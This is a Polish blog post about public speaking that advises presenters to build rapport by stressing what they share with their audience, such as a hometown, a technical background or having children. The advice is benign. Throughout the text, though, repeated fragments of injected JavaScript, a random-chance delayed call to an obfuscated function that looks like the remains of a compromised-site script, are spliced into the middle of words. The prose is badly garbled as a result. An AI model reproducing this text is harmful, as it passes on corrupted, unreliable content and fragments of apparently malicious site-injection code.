Zastanów się z jakimi ludźmi lubisz przebywać. Czy z takimi którzy są do Ciebie podobni? Podobnie myślą, zachowują się, cenią te same wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tości, mają podobne poglądy? Czy z osobami, z którymi nie masz nic wspólnego? Oczywićcie, że z tymi pierwszymi. To naturalne.
My, ludzie lubimy osoby podobne do nas samych. Wiele prawdy jest w powiedzeniu, że za ludzi rozsądnych uważamy takich, którzy myślą podobnie do nas.
Skoro znamy ten mechanizm, wykorzystajmy go wygłaszając ważne przemówienie, prezentację. Postarajmy się być “podobnymi” do naszych słuchaczy. Jak dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zrobić?
Jak rozpocząć wystąpienie aby okazać się “podobnym” do naszej publiczności? Na samym początku naszego wystąpienia, postarajmy się pokazać naszym widzom, że coś nas z nimi łączy. To może być miasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, w którym prowadzimy nasze szkolenie.
Na konferencjach we Włocławku zawsze mówiłem, że mam tutaj rodzinę i jako dziecko wraz z rodzicami spędzałem część wakacji właśnie w tym mieście. Przypominam sobie wycieczki nad Wisłę i kąpiel w pobliskim jeziorze Czarne. Mówię o tym, że Włocławek kojarzy mi się z zapachem kawy (w okolicach dworca była tam palarnia kawy i gdy wysiadałem z pociągu zawsze dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było pierwsze wrażenie). Na dodatek moja ciocia była nauczycielką. Jak dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to powiem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to obecni na sali “są moi”. Takie hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toryjki naprawdę działają!
Na spotkaniach z nauczycielami matematyki od czasu do czasu wtrącam mimochodem, że jestem absolwentem Politechniki Gdańskiej. Wiem dobrze, że w ich głowach rodzi się myśl: “No tak, gość też ma ścisły umysł. Na pewno dobrze mnie/nas rozumie”. Przytaczam jakąś hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torię z czasów studenckich.
Gdy rozmawiam z nauczycielami o dzieciach i o tym jakie kłopoty mogą sprawiać uczniowie, częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dodaję: “Jestem “szczęśliwym posiadaczem” dwóch synów w wieku 10 lat (dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bliźniaki) zatem wiem jakie pomysły mogą mieć czwardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toklasiści i jak Państwo (nauczyciele) muszą dokładać starań aby zmobilizować ich do nauki a przy okazji okiełznać temperamenty” itp.
Myślę, że każdy z nas ma takie nici, które łączą go z widownią. Trzeba je tylko pokazać ludziom a będą nas trakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować jak jednego ze “swoich”. Wtedy będzie nam znacznie łatwiej przeprowadzić prezentację (ludzie będą dla nas życzliwsi) a nawet przekonać audydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium do naszych pomysłów, idei lub do zakupu zachwalanego przez nas produktu.
Oczywiście muszą dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to być związki autentyczne a nie tworzone na 5 minut przed wystąpieniem. Ludzie od razu wyczują, że nie jesteśmy autentyczni a wtedy… lepiej nie mówić.
Możesz też umacniać więź ze słuchaczami w trakcie prezentacji. Gdy kdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś zgłasza jakieś pytanie, problem, możesz powiedzieć: “Miałem ten sam kłopot” albo “Też się jakiś czas temu nad tym zastanawiałem”. Pokazujemy wtedy ten związek polegający na podobnym sposobie myślenia. Poza tym chwalimy naszego słuchacza za dociekliwość i uwagę, a przecież każdy z nas lubi być doceniany.
Powinieneś też wielokrotnie podczas przemówienia zwracać się do sali słowami: MY, NASZ a nie JA i WY. To MY daje poczucie wspólnoty i zaznacza związek między prowadzącym a widownią.
Jestem przekonany, że masz już w głowie kilka pomysłów na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jak “zbliżyć” się do swojej widowni podczas kolejnej prezentacji!
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
[…] Ważyński R. – Poznaj tajniki prezentacji: Powiedz publiczności coś o sobie […]
[…] na temat szczerości w prezentacjach na moim blogu:Poznaj Tajniki PrezentacjiRobert […]